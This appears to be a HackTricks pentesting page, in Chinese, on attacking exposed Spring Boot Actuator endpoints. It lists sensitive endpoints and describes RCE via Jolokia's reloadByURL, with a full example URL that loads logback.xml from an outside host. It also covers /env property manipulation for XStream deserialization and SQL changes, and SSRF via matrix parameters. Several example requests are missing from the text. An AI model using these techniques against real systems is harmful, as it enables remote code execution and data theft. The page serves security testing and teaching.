Spring Actuators
Last updated
Last updated
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
来自 https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
查看原始帖子 [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Spring Boot Actuators 注册的端点包括 /health
、/trace
、/beans
、/env
等。在 1 到 1.4 版本中,这些端点无需身份验证即可访问。从 1.5 版本开始,只有 /health
和 /info
默认是非敏感的,但开发人员通常会禁用此安全性。
某些 Actuator 端点可能会暴露敏感数据或允许有害操作:
/dump
、/trace
、/logfile
、/shutdown
、/mappings
、/env
、/actuator/env
、/restart
和 /heapdump
。
在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 /actuator/
基路径下。
通过 '/jolokia' 进行远程代码执行:
/jolokia
actuator 端点暴露了 Jolokia 库,允许对 MBeans 的 HTTP 访问。
reloadByURL
操作可以被利用来从外部 URL 重新加载日志配置,这可能导致盲 XXE 或通过精心制作的 XML 配置进行远程代码执行。
示例利用 URL:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
。
通过 '/env' 进行配置修改:
如果存在 Spring Cloud 库,/env
端点允许修改环境属性。
可以操纵属性以利用漏洞,例如 Eureka serviceURL 中的 XStream 反序列化漏洞。
示例利用 POST 请求:
其他有用的设置:
属性如 spring.datasource.tomcat.validationQuery
、spring.datasource.tomcat.url
和 spring.datasource.tomcat.max-active
可以被操纵以进行各种利用,例如 SQL 注入或更改数据库连接字符串。
默认 actuators 的综合列表可以在 这里 找到。
Spring Boot 2.x 中的 /env
端点使用 JSON 格式进行属性修改,但一般概念保持不变。
Env + H2 RCE:
关于利用 /env
端点和 H2 数据库组合的详细信息可以在 这里 找到。
通过错误的路径名解释在 Spring Boot 上进行 SSRF:
Spring 框架对 HTTP 路径名中矩阵参数 (;
) 的处理可以被利用进行服务器端请求伪造 (SSRF)。
示例利用请求:
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)